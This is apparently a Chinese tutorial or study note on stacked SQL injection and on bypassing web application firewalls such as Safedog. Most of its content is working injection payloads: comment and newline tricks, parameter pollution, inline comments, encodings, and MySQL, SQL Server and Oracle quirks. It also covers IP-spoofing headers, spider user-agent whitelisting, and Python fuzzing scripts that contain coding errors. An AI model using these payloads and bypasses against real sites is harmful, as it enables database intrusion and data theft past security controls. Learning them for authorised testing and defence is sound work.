十八:SQL注入之堆叠及绕WAF

十八:SQL注入之堆叠及绕WAF

堆叠查询注入 (双查询注入) stacked injections(堆叠注入)从名词的含义就可以看到是一堆的SQL语句一起执行,而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句加;表示语句结束。这样 子我们就想到了可以不可以多句一起使用,这个叫做stacked injection 只有mysql可以堆叠注入,重添加一个管理员账户 具体添加将新增加的用户加入管理员组 **phpstudy + safedog安装找不到服务问题** 市面上常见的waf产品列表 - wafw00f 阿里云盾,安全狗,阿里云盾 遇到WAF先手测,工具一扫就会封IP。 测试绕过就是研究哪方面没有进行过滤 提交方式绕过WAF,前提支持各种方式的接受 (等价函数,特殊函数):既需要绕过匹配规则,还要不干扰语句的运行结果。 反序列化的格式进行绕过,注释符混用 %0a换行 %23注释# 部分bypass sqlinject payload 特殊符号,换行绕狗子 id = 1 union %23a%0A select 1,2,3 # 匹配到union然后注释,安全认为句子结束, union a select 狗子不会拦截 union #a 写#屏蔽a,换行让union select执行 select 1,2,3 # 注释符混用,参数污染绕狗子 参数污染只接受后面的,?id=1/**&id=-1 unio select 1,2,3 #*/ /***/ SQL里面的注释符 1/**&id=-1 unio select 1,2,3 #*/ 狗子接收的 -1 unio select 1,2,3 #*/ 执行的语句 (内联注释) 狗子匹配第一条,其中的注释符号起到注释作用,正常情况没法执行,安全狗直接忽略, 参数污染导致的真实数据是执行的语句,能够正常执行SQL语句 fuzz模糊测试,类似爆破密码。某个点生成字典,不断测试。写好脚本和字典批量化进行测试 import request import time url = 'http://1.1.1.1/sqli-labs/less2/?id=1' for sqlin in open('uniobselect.txt') urls = url + sqlin result = requests.get(urls).text if (result.find('safedog')==-1): print(sqlin) time.sleep(-1) 堆叠注入详解:https://www.cnblogs.com/backlion/p/9721687.html 应用层 大小写/关键字替换 id=1 UnIoN/**/SeLeCT 1,user() hex() bin() 等价于ascii sleep()等价于benchmark() Mid()substring() 等价于 substr() @@user() 等价于User() @@version等价于version() 各种编码: 大小写,URL,hex,%0A等 注释使用: // -- --+ # /**/ + :%00 /!**/等 再次循环 union==uunionnion 等价替换: user()=@@user() and=& or=| ascii=hex等 参数污染: ?id=1&id=2&id=3 编码及解码: s->%73->%25%37%33 更改请求提交方式: GET,POST,COOKIE POST->multipart/from-data 中间件参数污染 数据库特性: 1.mysql技巧 (1)mysql注释有三种,#,/*...*/,-- ... (--后加空格) (2)空格符:0x9a,0x0a-0x0d,0x20,0xa0 (3)特殊符号 0a%换行符 可结合注释符使用 %23%0a,%2d%2d%0a (4)内联注释 /*! union12345select*/ 1,user() //数字范围1000-50540 (5)mysql黑语法 select {x username} from {x11 test.admin}; 2.sqlsever (1)用来注释掉后查询的其余部分 /* c语言风格注释 -- sql注释 ;00%空字节 (2)空白符:[0x01-0x20] (3)特殊符号:%3a 冒号 id = 1 union:select 1,2 from:admin (4)函数变型:如db_name [空白字符]() 3.oracle技巧 (1) 注释符:--,/**/ (2) 空白字符:[0x00,0x09,0x0a-0x0d,0x20] 4.配合fuzz select * from admin where id=1 [位置一] union [位置二] select [位置三] 1,2,db_name() [位置四] from [位置五] admin 逻辑层 (1)云waf防护,一般我们会尝试查找真实站点的真实ip,从而绕过CDN防护 (2)当提交,GET,POST同时请求时,进入POST逻辑,而忽略了GET请求的有害参数输入,可尝试bypass, (3)http和https同时开放服务,没有做http到https的强制跳转,导致https有waf防护,http没有防护,直接访问http站点绕过防护 (4)特殊符号%00,部分waf遇到%00截断,只能获取到前面的参数,无法获取到后面的有害输入,从而导致bypass 比如:id=1%00and 1=2 union select 1,2,column_name from imformation_schema.columns 白名单 方式一:ip白名单 从网络层获取来的ip,是无法伪造的,如果获取客户端的ip,这样就可能存在伪造ip绕过的情况。 测试方法: 修改http的header来bypass waf x-forwarded-for x-remote-ip x-originating-ip x-remote-addr x-real-ip 方式二:静态资源 特定的后缀资源静态请求,常见的静态文件,(.js .jpg .swf .css 等),类似白名单机制, waf为了检测效率,不去检测这样一些静态文件后缀的请求。 方式三:url白名单 为了防止误拦截,部分waf内置默认的白名单列表,如admin/manager/system等管理后台。只要url中存在的白名单的字符,就作为白名单不检测。 方式四:爬虫白名单 部分waf对爬虫结果会忽略,waf如果识别出了搜索引擎来爬虫,waf就会放行 import json import request url = 'http://1.1.1.1:8080' head={ 'user-agent':'mozilla/5.0(compatible;badiduspider-render/2.0;)' } for data in open("php.txt"): data = data.replace('\n','') urls=url+data code=requests.get(urls,headers=head).status_code print(urls+'|'+str(code))

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/zwjxyz.html